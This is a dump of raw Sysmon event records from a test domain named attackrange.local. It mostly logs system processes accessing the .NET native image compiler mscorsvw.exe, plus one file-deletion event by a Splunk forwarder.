10341000x800000000000000044425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.463{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F62-613B-7109-00000000F001}976C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.453{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F62-613B-7109-00000000F001}976C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.453{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F62-613B-7109-00000000F001}976C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.403{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F62-613B-7009-00000000F001}4684C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.393{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F62-613B-7009-00000000F001}4684C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.393{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F62-613B-7009-00000000F001}4684C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.330{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F62-613B-6F09-00000000F001}6756C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.310{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F62-613B-6F09-00000000F001}6756C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.310{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F62-613B-6F09-00000000F001}6756C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.270{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F62-613B-6E09-00000000F001}4264C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.260{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F62-613B-6E09-00000000F001}4264C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.260{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F62-613B-6E09-00000000F001}4264C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.230{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F62-613B-6D09-00000000F001}2896C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000013959Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:50.286{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A0C20BE89C8D2FE7801E7ACFA79DFAE3,SHA256=5BEA0434E9DB65F9E80FE3CCD18AD5607B0326F7F08DFFA35DB7FBE5AB9D43BD,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.210{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F62-613B-6D09-00000000F001}2896C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.210{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F62-613B-6D09-00000000F001}2896C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.130{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F62-613B-6C09-00000000F001}2912C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.120{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F62-613B-6C09-00000000F001}2912C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.120{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F62-613B-6C09-00000000F001}2912C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.089{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F62-613B-6B09-00000000F001}5824C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.069{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F62-613B-6B09-00000000F001}5824C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.069{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F62-613B-6B09-00000000F001}5824C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.039{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F62-613B-6A09-00000000F001}1924C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:50.019{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F62-613B-6A09-00000000F001}1924C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 